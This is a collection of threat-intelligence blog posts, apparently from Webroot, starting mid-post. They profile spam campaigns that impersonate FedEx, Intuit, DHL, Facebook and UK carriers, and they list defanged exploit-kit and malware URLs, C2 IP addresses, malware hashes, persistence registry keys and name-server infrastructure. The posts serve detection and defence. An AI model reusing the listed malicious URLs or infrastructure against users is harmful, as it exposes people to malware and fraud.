Name Server: **NS2.MACROVIEWTECH.COM** – 68.168.100.137

Domains responding to the same IP, including domains also registered with the same GMail account: **drganesanneurospine.com dryathishoncologist.com hematologistcoimbatore.com lakkumigdc.com ciska.org texsonpumps.com icreu2012.com lakkumigdc.com paypal.com.tradelinee.com pianoforall.theseopark.com update-paypall.32165453423154623166352.indianmjp.com**

paypal.com.usa.ssion.secure.acess.update.reg.ideators.co paypal.com.us.cgi-bin.session.secure.update-info.ideators.co paypal.com.vtigp.org zakcreations.com techhoot.com ideators.co

Upon successsful client-side exploitation, the campaign drops **MD5: 8b3979c1a9c85a7fd5f8ff3caf83fc56** – detected by 3 out of 46 antivirus scanners as PWS-Zbot.gen.aru

Upon execution, the sample creates the following file on the affected hosts: *%AppData%Ixriyvemarosa.exe – MD5: A33684FD2D1FA669FF6573921F608FBB*

It also creates the following directories: *%AppData%Ixriyv %AppData%Uxwonyl*

As well as the following Mutex: *Local{7A4AAF46-5391-8FF9-A32F-78A34C8B50D7}*

It then phones back to **shallowave.jumpingcrab.com** (93.174.95.78) on port 8012. Another similar subdomain on this host (**takemeout.jumpingcrab.com**), was also seen in a **crowdsourced DDoS campaign** in 2009.

Historically, more malware is known to have been hosted at another subdomain (**hxxp://dady.jumpingcrab.com:881/js/js/**) in 2011. List of associated MD5s:
MD5: e58fe6d04e8d9fce1020f532d3f0bd49 – detected by 40 out of 44 antivirus scanners as Backdoor.Win32.Delf.yqo
MD5: 60fde61eea4da0601a294d8cac18fb85 – detected by 37 out of 42 antivirus scanners as Backdoor:Win32/Hupigon.EA
MD5: ac95c84a99edd65b00fbc845f8e167f0 – detected by 38 out of 42 antivirus scanners as TrojanDropper:Win32/Delfsnif.A
MD5: 7487bbfadde66edddf131b879382a9ef – detected by 38 out of 43 antivirus scanners as Trojan-PSW.Win32.Bjlog.vge
MD5: 6cf58ce47e4a9163ecf2e5e0498d3fa8 – detected by 38 out of 43 antivirus scanners as Worm.Win32.AutoRun.davw
MD5: a694f0c6a0b64cc3601d946f63330a23 – detected by 34 out of 44 antivirus scanners as Trojan.RAR.Qhost.c

Webroot SecureAnywhere users are proactively protected from these threats.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Fake 'FedEx Tracking Number' themed emails lead to malware - Webroot Blog

facebook linkedin twitter

At the end of October, a cybercriminal or group of cybercriminals launched three massive spam campaigns in an attempt to trick users into clicking on a deceptive link and downloading a malicious attachment. Upon execution, the malware phones back to the command and control servers operated by the party that launched it, allowing complete access to the infected PC.

This time they didn't try impersonating **USPS** , **UPS** or **DHL** , but **FedEx** .

More details:

Sample screenshot of the spamvertised email:

Second screenshot of a sample spamvertised email, again, part of the same campaign:

Third screenshot of a sample spamvertised email used in the campaign:

Sample spamvertised compromised URLs participating in the campaign: *hxxp://www.daikychi.de/LTDVVFONLS.html hxxp://www.brunobassettocarni.it/ZBQJPKZVFG.html hxxp://panexpress.es/BFLYQUDUJI.html hxxp://milrecados.com/SWVOXIGJEV.html hxxp://watertaxis.mobi/APQTJNWNPV.html hxxp://dhacdooyinka.com/WERGLIHRLG.html hxxp://cantoncityutah.com/OXSJOVVYOE.html hxxp://www.supporttechnologies.co.in/RNNDHDKSZT.html hxxp://affiliate-erfolg.de/KQEZOOWAYE.html hxxp://moebel-bergen.de/TGBSSWXALL.html hxxp://thebusinessplus.com/MUTBQJADRE.html hxxp://btv-bosseln.de/EJWFBEEBWI.html hxxp://howardwindfarm.com/SYMUADLPDU.html hxxp://atimbershop.com/GULSHSFCHM.html*

hxxp://reenhaneck.narod.ru/RAPNCDDKMX.html
hxxp://mylauren.com/CCOSGTLVTA.html

Sample detection rate for the first sample: MD5: 0e2e1ef473bb731d462fb1c8b3dd7089 – detected by 35 out of 46 antivirus scanners as Trojan.Win32.Buzus.mruv

Upon execution, it phones back to the following URLs:

*hxxp://**91.121.90.80***
:8080/F911A672AE42FE0D3E501D3F3A364199EF74BDC93B112F
3D39762668061 0EB781E39F86AFAEB6AA94F385BE9F540F0FC5
6CF007F4ECBE171E8C93EA3E1385A97EDFF413C82D541
*hxxp://**84.40.69.119***
:8080/F911A672AE42FE0D3E501D3F3A364199EF74BDC93B112F
3D397626680610EB781E39F86AFAEB6AA94F385BE9F540F0FC5
6CF007F4ECBE171E8C93EA3E1385A97EDFF413C82D541
*hxxp://**211.172.112.7***
:8080/F911A672AE42FE0D3E501D3F3A364199EF74BDC93B112F
3D397626680610EB781E39F86AFAEB6AA94F385BE9F540F0FC5
6CF007F4ECBE171E8C93EA3E1385A97EDFF413C82D54

Sample detection rate for the second sample: MD5: ab25d6dbf9b041c0a7625f660cfa17aa – detected by 37 out of 46 antivirus scanners as Trojan-Dropper.Win32.Dapato.bxhg

Upon execution, it phones back to the following URLs:

*hxxp://**59.25.189.234***
:8080/F911A672AE42FE0D3E501D3F3A364199EF74BDC93B112F
3D397626680610EB781E39F86AFAEB6AA94F385BE9F540F0FC5
6CF007F4ECBE171E8C93EA3E1385A97EEF7413C82D54 1
*hxxp://**140.135.66.217***
:8080/F911A672AE42FE0D3E501D3F3A364199EF74BDC93B112F
3D397626680610EB781E39F86AFAEB6AA94F385BE9F540F0FC5
6CF007F4ECBE171E8C93EA3E1385A97EEF7413C82D5 41
*hxxp://**82.113.204.228***
:8080/F911A672AE42FE0D3E501D3F3A364199EF74BDC93B112F
3D397626680610EB781E39F86AFAEB6AA94F385BE9F540F0FC5
6CF007F4ECBE171E8C93EA3E1385A97EEF7413C82D5 41
*hxxp://**59.126.131.132***
:8080/F911A672AE42FE0D3E501D3F3A364199EF74BDC93B112F

3D397626680610EB781E39F86AFAEB6AA94F385BE9F540F0FC5 6CF007F4ECBE171E8C93EA3E1385A97EEF7413C82D5 41

None of these IPs currently respond to any specific domains, besides **59.126.131.132** .

songwriter.tw is currently responding to **59.126.131.132** – Email: songwriter.tw@gmail.com
Record expires on 2019-06-12 (YYYY-MM-DD)
Record created on 2009-06-12 (YYYY-MM-DD)

The domain seems to be a legitimate Taiwanese songwriting company/individual, indicating that their server has been compromised and is currently used as command and control server.

Sample detection rate for the third sample: MD5: 252c797959273ff513d450f9af1d0242 – detected by 25 out of 46 antivirus scanners as TrojanDownloader:Win32/Kuluoz.B

We'll continue monitoring the developments of the campaign, and post updates as soon as new campaigns are launched.

Webroot SecureAnywhere users are proactively protected from these threats.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

DIY malicious domain name registering service spotted in the wild - Webroot Blog

facebook linkedin twitter

Security researchers and security vendors are constantly profiling and blocking the malicious operations launched by organized crime groups on the Internet.

In an attempt to increase the life cycle of their malicious campaigns, cybercriminals rely on a set of domains hosted on bulletproof servers. In addition to this tactic, they also rely on **fast-fluxing** , a technique where a **domain's IP automatically rotates** on a specific time interval, with IPs from the botnet's infected population — state of the art **bulletproof hosting in a combination with cybercrime-friendly domain registrar** .

In order to make it even harder for the security community to **disrupt their campaigns** , cybercriminals also **implement** the **random domain name generation tactic** . This makes it more difficult for researchers to assess and shut down their operations, as of all the randomly generated domains initiating "phone home" command and control server communications, only a few will actually respond and will be registered and operated by the cybercriminals behind the campaign.

In this post, I'll profile a recently launched DIY malicious domain name registering/managing service which makes it easier for cybercriminals to manage their domains portfolios. The service allows them to register randomly generated domains in mass, instantly change IPs and Name Servers, and cross-reference with anti-spam checklists for verification of clean/flagged IPs.

More details:

Sample screenshot of the entry page for the service:

The service allows filtering of the domains database that you registered using the service, including a handy option from a cybercriminal’s perspective to check whether any of the domains has been flagged as malicious by multiple Black Lists.

Second screenshot of the service:

Next is the option allowing the cybercriminals to choose their TLD. For the time being, the service offers **.in** (for $8); **.org** (for $8); and **.pro** (for $5), as well as a combination of all of these TLDs.

Third screenshot of the service:

The service successfully generated a bunch of pseudo-random domains to be used in upcoming malicious campaigns.

Sample screenshot of the service in action:

Once the domains have been generated, the service offers an automatic “free domain” verification service, and naturally, all of the pseudo-randomly generated domains are free for registration and abuse:

We’ll continue monitoring the development of this trend, and post updates as soon as new services become available.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Bogus 'Intuit Software Order Confirmations' lead to Black Hole Exploit Kit - Webroot Blog

facebook linkedin twitter

Sticking to their well proven practice of systematically rotating impersonated brands, the cybercriminals behind a huge majority of the malicious campaigns that we've been profiling recently are once again impersonating **Intuit** in an attempt to trick its customers into clicking on links exposing them to the client-side exploits served by the **Black Hole Exploit Kit** .

More details:

Sample screenshot from the spamvertised email:

Sample spamvertised URL redirector: *hxxp://www.mysnap.com.tw/sites/default/files/upload.htm?RANDOM_CHARACTERS*

Client-side exploits serving URL: *hxxp://moneymakergrow.ru:8080/forum/links/column.php*

Malicious domain name reconnaissance: moneymakergrow.ru – 202.180.221.186, AS24496; 203.80.16.81, AS24514; 207.126.57.208
Name server: **ns1.moneymakergrow.ru** – 62.76.178.233
Name server: **ns2.moneymakergrow.ru** – 132.248.49.112
Name server: **ns3.moneymakergrow.ru** – 84.22.100.108
Name server: **ns4.moneymakergrow.ru** – 65.99.223.24

The following malicious domains also respond to the same IPs: **limonadiksec.ru geforceexlusive.ru sonatanamore.ru linkrdin.ru lemonadiom.ru peneloipin.ru forumibiza.ru donkihotik.ru finitolaco.ru controlleramo.ru fionadix.ru**

Although we couldn't reproduce the client-side exploitation, we've already seen the majority of these malicious domains in previously profiled campaigns:

moneymakergrow.ru – seen in – "'**Copies of Missing EPLI Policies' themed emails lead to Black Hole Exploit Kit** "

limonadiksec.ru – seen in – “‘Regarding your Friendster password’ themed emails lead to Black Hole exploit kit “; “‘Fwd: Scan from a Xerox W. Pro’ themed emails lead to Black Hole Exploit Kit ”

geforceexlusive.ru – seen in – “‘Fwd: Scan from a Xerox W. Pro’ themed emails lead to Black Hole Exploit Kit “; “‘Copies of Missing EPLI Policies’ themed emails lead to Black Hole Exploit Kit ”

sonatanamore.ru – seen in – “‘Regarding your Friendster password’ themed emails lead to Black Hole exploit kit “; “‘Fwd: Scan from a Xerox W. Pro’ themed emails lead to Black Hole Exploit Kit ”

linkrdin.ru – seen in – “‘Fwd: Scan from a Xerox W. Pro’ themed emails lead to Black Hole Exploit Kit “; “‘Copies of Missing EPLI Policies’ themed emails lead to Black Hole Exploit Kit “; “Cybercriminals spamvertise bogus ‘Microsoft License Orders’ serve client-side exploits and malware ”

lemonadiom.ru – seen in – “‘Fwd: Scan from a Xerox W. Pro’ themed emails lead to Black Hole Exploit Kit “; “‘Copies of Missing EPLI Policies’ themed emails lead to Black Hole Exploit Kit ”

peneloipin.ru – seen in – “‘Copies of Missing EPLI Policies’ themed emails lead to Black Hole Exploit Kit ”

forumibiza.ru – seen in – “‘Copies of Missing EPLI Policies’ themed emails lead to Black Hole Exploit Kit ”

finitolaco.ru – seen in – “‘Fwd: Scan from a Xerox W. Pro’ themed emails lead to Black Hole Exploit Kit ”

controlleramo.ru – seen in – “‘Copies of Missing EPLI Policies’ themed emails lead to Black Hole Exploit Kit “; **“Multiple ‘Inter-company’ invoice themed campaigns serve malware and client-side exploits ”**

fionadix.ru – seen in – “‘Copies of Missing EPLI Policies’ themed emails lead to Black Hole Exploit Kit ”

Name servers part of the campaign’s infrastructure:
ns1.limonadiksec.ru – 62.76.46.195
ns2.limonadiksec.ru – 87.120.41.155
ns3.limonadiksec.ru – 132.248.49.112

ns4.limonadiksec.ru – 91.194.122.8
ns5.limonadiksec.ru – 62.76.188.246
ns1.geforceexlusive.ru – 62.76.47.51
ns2.geforceexlusive.ru – 132.248.49.112
ns3.geforceexlusive.ru – 84.22.100.108
ns4.geforceexlusive.ru – 79.98.27.9
ns1.sonatanamore.ru – 62.76.47.51
ns2.sonatanamore.ru – 132.248.49.112
ns3.sonatanamore.ru – 84.22.100.108
ns1.linkrdin.ru – 85.143.166.170
ns2.linkrdin.ru – 132.248.49.112
ns3.linkrdin.ru – 84.22.100.108
ns4.linkrdin.ru – 79.98.27.9
ns1.lemonadiom.ru – 85.143.166.170
ns2.lemonadiom.ru – 132.248.49.112
ns3.lemonadiom.ru – 84.22.100.108
ns4.lemonadiom.ru – 213.251.171.30
ns1.peneloipin.ru – 62.76.186.190
ns2.peneloipin.ru – 132.248.49.112
ns3.peneloipin.ru – 84.22.100.108
ns4.peneloipin.ru – 65.99.223.24
ns1.forumibiza.ru – 62.76.186.190
ns2.forumibiza.ru – 84.22.100.108
ns3.forumibiza.ru – 50.22.102.132
ns4.forumibiza.ru – 213.251.171.30
ns1.donkihotik.ru – 62.76.186.190
ns2.donkihotik.ru – 84.22.100.108
ns3.donkihotik.ru – 50.22.102.132
ns4.donkihotik.ru – 213.251.171.30
ns1.finitolaco.ru – 85.143.166.170
ns2.finitolaco.ru – 132.248.49.112
ns3.finitolaco.ru – 84.22.100.108
ns4.finitolaco.ru – 213.251.171.30

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Bogus 'End of August Invoices' themed emails serve malware and client-side exploits - Webroot Blog

facebook linkedin twitter

Cybercriminals have recently launched yet another massive spam campaign attempting to trick users into clicking on malicious links or executing malicious attachments found in the spamvertised emails.

More details:

Sample screenshot of the spamvertised email:

Sample detection rate for the malicious attachment: **MD5: 8b194d05c7e7f96a37b1840388231791** – detected by 39 out of 44 antivirus scanners as Trojan:Win32/Ransom

Sample client-side exploits serving URL: *hxxp://forumibiza.ru:8080/forum/links/column.php*

Although we couldn't obtain the actual payload, the gathered intelligence indicates that this is a campaign launched by the same group that we've been monitoring for a few weeks now, allowing us to more effectively expose their campaigns and protect Internet users.

Malicious domain name reconnaissance: forumibiza.ru – 65.99.223.24, AS30496; 103.6.238.9, AS2.1125; 203.80.16.81, AS24514
Name server: **ns1.forumibiza.r** u – 62.76.186.190
Name server: **ns2.forumibiza.r** u – 84.22.100.108
Name server: **ns3.forumibiza.ru** – 50.22.102.132
Name server: **ns4.forumibiza.ru** – 213.251.171.30

The following malicious domains also respond to the same IPs (65.99.223.24; 103.6.238.9; 203.80.16.81). We've already seen these in several previously profiled malicious campaigns:

limonadiksec.ru – seen in – "**'Regarding your Friendster password' themed emails lead to Black Hole exploit kit** "; "**'Fwd:**

Scan from a Xerox W. Pro' themed emails lead to Black Hole Exploit Kit "; "Bogus 'Intuit Software Order Confirmations' lead to Black Hole Exploit Kit ".

kiladopje.ru – seen in – "'Fwd: Scan from a Xerox W. Pro' themed emails lead to Black Hole Exploit Kit "

fionadix.ru – seen in – "'Copies of Missing EPLI Policies' themed emails lead to Black Hole Exploit Kit "; "Bogus 'Intuit Software Order Confirmations' lead to Black Hole Exploit Kit "

geforceexlusive.ru – seen in – "'Fwd: Scan from a Xerox W. Pro' themed emails lead to Black Hole Exploit Kit "; "'Copies of Missing EPLI Policies' themed emails lead to Black Hole Exploit Kit "; "Bogus 'Intuit Software Order Confirmations' lead to Black Hole Exploit Kit "

finitolaco.ru – seen in – "'Fwd: Scan from a Xerox W. Pro' themed emails lead to Black Hole Exploit Kit "; "Bogus 'Intuit Software Order Confirmations' lead to Black Hole Exploit Kit "

fidelocastroo.ru – seen in – "'Fwd: Scan from a Xerox W. Pro' themed emails lead to Black Hole Exploit Kit "; "Cybercriminals spamvertise bogus 'Microsoft License Orders' serve client-side exploits and malware "

lemonadiom.ru – seen in – "'Fwd: Scan from a Xerox W. Pro' themed emails lead to Black Hole Exploit Kit "; "'Copies of Missing EPLI Policies' themed emails lead to Black Hole Exploit Kit "; "Bogus 'Intuit Software Order Confirmations' lead to Black Hole Exploit Kit "

panasonicviva.ru – seen in – "'Fwd: Scan from a Xerox W. Pro' themed emails lead to Black Hole Exploit Kit "

sonatanamore.ru – seen in – "'Regarding your Friendster password' themed emails lead to Black Hole exploit kit "; "'Fwd: Scan from a Xerox W. Pro' themed emails lead to Black Hole Exploit Kit "; "Bogus 'Intuit Software Order Confirmations' lead to Black Hole Exploit Kit "

linkrdin.ru – seen in – "'Fwd: Scan from a Xerox W. Pro' themed emails lead to Black Hole Exploit Kit "; "'Copies of Missing EPLI Policies' themed emails lead to Black Hole Exploit Kit "; "Cybercriminals spamvertise bogus 'Microsoft License Orders' serve client-side exploits and malware "; "Bogus 'Intuit Software

Order Confirmations' lead to Black Hole Exploit Kit "
donkihotik.ru – seen in – "Bogus 'Intuit Software Order Confirmations' lead to Black Hole Exploit Kit "
ponowseniks.ru – seen in – "'Fwd: Scan from a Xerox W. Pro' themed emails lead to Black Hole Exploit Kit "
panalkinew.ru – seen in – "'Fwd: Scan from a Xerox W. Pro' themed emails lead to Black Hole Exploit Kit "
rusa.skali.com.my panacealeon.ru dianadrau.ru

Name servers used in the campaign's infrastructure:
ns1.limonadiksec.ru – 62.76.46.195
ns2.limonadiksec.ru – 87.120.41.155
ns3.limonadiksec.ru – 132.248.49.112
ns4.limonadiksec.ru – 91.194.122.8
ns5.limonadiksec.ru – 62.76.188.246
ns1.kiladopje.ru – 85.143.166.170
ns2.kiladopje.ru – 132.248.49.112
ns3.kiladopje.ru – 84.22.100.108
ns4.kiladopje.ru – 213.251.171.30
ns1.fionadix.ru – 62.76.186.190
ns2.fionadix.ru – 84.22.100.108
ns3.fionadix.ru – 50.22.102.132
ns4.fionadix.ru – 213.251.171.30
ns1.geforceexlusive.ru – 62.76.47.51
ns2.geforceexlusive.ru – 132.248.49.112
ns3.geforceexlusive.ru – 84.22.100.108
ns4.geforceexlusive.ru – 79.98.27.9
ns1.finitolaco.ru – 85.143.166.170
ns2.finitolaco.ru – 132.248.49.112
ns3.finitolaco.ru – 84.22.100.108
ns4.finitolaco.ru – 213.251.171.30
ns1.fidelocastroo.ru – 85.143.166.170
ns2.fidelocastroo.ru – 132.248.49.112
ns3.fidelocastroo.ru – 84.22.100.108
ns4.fidelocastroo.ru – 213.251.171.30
ns1.lemonadiom.ru – 85.143.166.170
ns2.lemonadiom.ru – 132.248.49.112
ns3.lemonadiom.ru – 84.22.100.108

ns4.lemonadiom.ru – 213.251.171.30
ns1.panasonicviva.ru – 132.248.49.112
ns2.panasonicviva.ru – 84.22.100.108
ns3.panasonicviva.ru – 62.76.47.51
ns1.sonatanamore.ru – 62.76.47.51
ns2.sonatanamore.ru – 132.248.49.112
ns3.sonatanamore.ru – 84.22.100.108
ns1.linkrdin.ru – 85.143.166.170
ns2.linkrdin.ru – 132.248.49.112
ns3.linkrdin.ru – 84.22.100.108
ns4.linkrdin.ru – 79.98.27.9
ns1.donkihotik.ru – 62.76.186.190
ns2.donkihotik.ru – 84.22.100.108
ns3.donkihotik.ru – 50.22.102.132
ns4.donkihotik.ru – 213.251.171.30
ns1.panacealeon.ru – 62.76.186.190
ns2.panacealeon.ru – 84.22.100.108
ns3.panacealeon.ru – 50.22.102.132
ns4.panacealeon.ru – 213.251.171.30
ns1.ponowseniks.ru – 85.143.166.170
ns2.ponowseniks.ru – 132.248.49.112
ns3.ponowseniks.ru – 84.22.100.108
ns4.ponowseniks.ru – 213.251.171.30
ns1.dianadrau.ru – 85.143.166.170
ns2.dianadrau.ru – 132.248.49.112
ns3.dianadrau.ru – 84.22.100.108
ns4.dianadrau.ru – 213.251.171.30
ns1.panalkinew.ru – 62.76.186.190
ns2.panalkinew.ru – 84.22.100.108
ns3.panalkinew.ru – 50.22.102.132
ns4.panalkinew.ru – 213.251.171.30

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Cybercriminals impersonate T-Mobile U.K, serve malware - Webroot Blog

facebook linkedin twitter

Cybercriminals are currently impersonating T-Mobile U.K, in an attempt to trick its customers into downloading a bogus billing information report. Upon execution, the malware opens a backdoor on the affected host, allowing the cybercriminals behind the campaign complete access to the infected PC.

More details:

Sample screenshot of the spamvertised email:

Sample detection rate for the malicious executable: **MD5: b0d4dad91f8e56caa184c8ba8850a6bd** – detected by 35 out of 44 antivirus scanners as Worm:Win32/Gamarue

That's the same MD5 that was served in the recently profiled "**Bogus DHL 'Express Delivery Notifications' serve malware** " malicious campaign, indicating a (thankfully) low QA (Quality Assurance) on behalf of the cybercriminals behind the campaign who didn't bother introducing a new malware variant.

Webroot SecureAnywhere users are proactively protected from this threat.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Bogus 'Meeting Reminder" themed emails serve malware - Webroot Blog

facebook linkedin twitter

Cybercriminals are mass mailing malicious emails about a meeting you wouldn't want to attend – unless you want to compromise the integrity of your computer.

Once executed, the malicious attachment opens a backdoor on the affected host, allowing the cybercriminals behind the campaign to gain complete access to the affected host. Naturally, we've been monitoring their operations for quite some time, and are easily able to identify multiple connections between their previously launched campaigns.

More details:

Sample screenshot of the spamvertised email:

Sample detection rate for the malicious executable: **MD5: a684feff699bb7e3b8814c32c1da8277** – detected by 38 out of 44 antivirus scanners as Worm:Win32/Cridex.E.

PEiD Signature of the sample: PureBasic 4.x -> Neil Hodgson

It also creates the following registry keys: *HKEY_CURRENT_USERSoftwareMicrosoftWindows NTCFBDC89D4*
HKEY_CURRENT_USERSoftwareMicrosoftWindows NTS25BC2D7B

The newly created Registry Value is: *[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersion Run] KB00121600.exe = ""%AppData%KB00121600.exe "* so that KB00121600.exe runs every time Windows starts.

Upon execution, the sample phones back to **64.150.187.72:8080/AJw/UCygrDAA/Ud+asDAA** (AS10316).

We've seen the same pseudo-random characters used in command and control communications profiled in several campaigns – "'**American Express Alert: Your Transaction is Aborted'**

themed emails serve client-side exploits and malware “; “**Bogus IRS ‘Your tax return appeal is declined’ themed emails lead to malware** “; “**Cybercriminals spamvertise bogus ‘Microsoft License Orders’ serve client-side exploits and malware** “.

We’ve also seen the same IP (**64.150.187.72**) used as name server in a previously profiled malicious campaign (**ns37.ceredinopl.ru – 64.150.187.72**) – “**Bogus Facebook ‘pending notifications’ themed emails serve client-side exploits and malware** “, indicating that these campaigns are also connected.

More MD5s are known to have phoned back to the same IP in the past:
MD5: 87a22699e0e6dfc89c57d7ad3483f264 – detected by 12 out of 42 antivirus scanners as VirTool:Win32/Obfuscator.ACP
MD5: 8229f69bc416cdca7f314f19fe7b4e18 – detected by 28 out of 44 antivirus scanners as Worm:Win32/Cridex.E
MD5: f739f99f978290f5fc9a812f2a559bbb – detected by 23 out of 43 antivirus scanners as VirTool:Win32/CeeInject.EW
MD5: cb69622f8188ae1b2a2b67e9153aaed4

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Cybercriminals impersonate Vodafone U.K, spread malicious MMS notifications - Webroot Blog

facebook linkedin twitter

Over the past couple of days, cybercriminals have launched yet another massive spam campaign, once again targeting U.K users. This time, they are impersonating Vodafone U.K, in an attempt to trick its customers into executing a bogus MMS attachment found in the malicious emails. Upon execution, the sample opens a backdoor on the affected hosts, allowing the cybercriminals behind the campaign complete access to the affected PC.

More details:

Sample screenshot from the spamvertised email:

Sample detection rate for the malicious attachment: **MD5: 3ce2b9522a476515737d07b877dae06e** – detected by 36 out of 44 antivirus scanners as Trojan-Downloader.Win32.Andromeda.coh.

Upon execution, the sample creates *%AllUsersProfile%svchost.exe* on the host. It also creates a Registry Value – *[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]* -> *SunJavaUpdateSched* = *"%AllUsersProfile%svchost.exe* " so that svchost.exe starts evert time Windows starts.

Webroot SecureAnywhere users are proactively protected from this threat.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're

dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Bogus DHL 'Express Delivery Notifications' serve malware - Webroot Blog

facebook linkedin twitter

From **UPS** , **USPS** to **DHL** , bogus and malicious parcel tracking confirmations are a common social engineering technique often used by cybercriminals to trick users into clicking on malicious links or executing malicious attachments found in the spamvertised emails.

Continuing what appears to be a working social engineering tactic, cybercriminals are currently mass mailing bogus DHL ‘Express Delivery Notifications’ in an attempt to trick users into executing the malicious attachment. Once executed, it opens a backdoor on the affected host allowing the cybercriminals behind the campaign complete access to the infected PC.

More details:

Sample screenshot of the spamvertised email:

Sample detection rate for the malicious attachment: **MD5: b0d4dad91f8e56caa184c8ba8850a6bd** – detected by 34 out of 42 antivirus scanners as Trojan-Downloader.Win32.Andromeda.daq.

What’s particularly interesting about this MD5 is that there are files named **T-Mobile-Bill.pdf.exe** that have also been submitted to VirusTotal, indicating that there’s a another T-Mobile themed campaign, that’s currently circulating in the wild.

PEiD Signature of the file: BobSoft Mini Delphi -> BoB / BobSoft. It also creates *%AllUsersProfile%svchost.exe* on the system, plus a Registry Value – “*[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] SunJavaUpdateSched = “%AllUsersProfile%svchost.exe* ” so that svchost.exe runs every time Windows starts.

Webroot SecureAnywhere users are proactively protected from this threat.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Cybercriminals target U.K users with bogus 'Pay by Phone Parking Receipts' serve malware - Webroot Blog

facebook linkedin twitter

U.K users, beware!

Cybercriminals are currently mass mailing yet another malicious spam campaign, enticing users into viewing a bogus list of parking transactions. Upon executing the malicious attachment, the malware opens a backdoor on the affected host, allowing the cybercriminals behind the campaign complete access to the host.

More details:

Sample screenshot of the spamvertised email:

Sample detection rate for the malicious attachment: **MD5: fbde5bcb8e3521149d2f83888e1716c4** – detected by 38 out of 44 antivirus scanners as Worm:Win32/Gamarue.I

Webroot SecureAnywhere users are proactively protected from this threat.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Bogus Facebook 'pending notifications' themed emails serve client-side exploits and malware - Webroot Blog

facebook linkedin twitter

Facebook users, watch out!

A recently launched malicious spam campaign is impersonating Facebook, Inc. in an attempt to trick its one billion users into thinking that they've received a notification alerting them on activities they may have missed on Facebook. Upon clicking on any of the links found in the email, users are exposed to the client-side exploits served by the **Black Hole Exploit Kit** .

More details:

Sample screenshot of the spamvertised email:

Sample spamvertised compromised URL: *hxxp://www.covellogroup.com/new.htm?_RANDOM_CHARACTERS*

Sample client-side exploits serving URL: *hxxp://ceredinopl.ru:8080/forum/links/column.php*

Malicious payload serving URL: hxxp://ceredinopl.ru:8080/forum/links/column.php?cfcjm=xbc229&fnhcuc=njx&svdp=2v:1k:1m:32:33:1k:1k:31:1j:1o&xdva=

Sample client-side exploits served: *CVE-2010-0188*

Malicious domain name reconnaissance: ceredinopl.ru – 203.80.16.81 (AS24514); 208.87.243.131; 216.24.196.66 (AS40676); 202.180.221.186 (AS24496)
Name servers: ns1.ceredinopl.ru – 203.172.140.202
ns10.ceredinopl.ru – 88.84.130.46
ns11.ceredinopl.ru – 89.216.41.8
ns12.ceredinopl.ru – 41.66.137.155
ns13.ceredinopl.ru – 79.142.32.36
ns14.ceredinopl.ru – 87.120.41.155

ns15.ceredinopl.ru – 72.55.156.167
ns16.ceredinopl.ru – 91.194.122.8
ns17.ceredinopl.ru – 202.3.245.13
ns18.ceredinopl.ru – 178.79.146.49
ns19.ceredinopl.ru – 69.64.89.82
ns2.ceredinopl.ru – 41.168.5.140
ns20.ceredinopl.ru – 70.38.31.71
ns21.ceredinopl.ru – 132.248.49.112
ns22.ceredinopl.ru – 74.117.59.55
ns23.ceredinopl.ru – 62.76.178.233
ns24.ceredinopl.ru – 62.76.188.138
ns25.ceredinopl.ru – 216.24.194.130
ns26.ceredinopl.ru – 79.98.27.9
ns27.ceredinopl.ru – 209.44.116.18
ns28.ceredinopl.ru – 173.224.220.180
ns29.ceredinopl.ru – 78.83.233.242
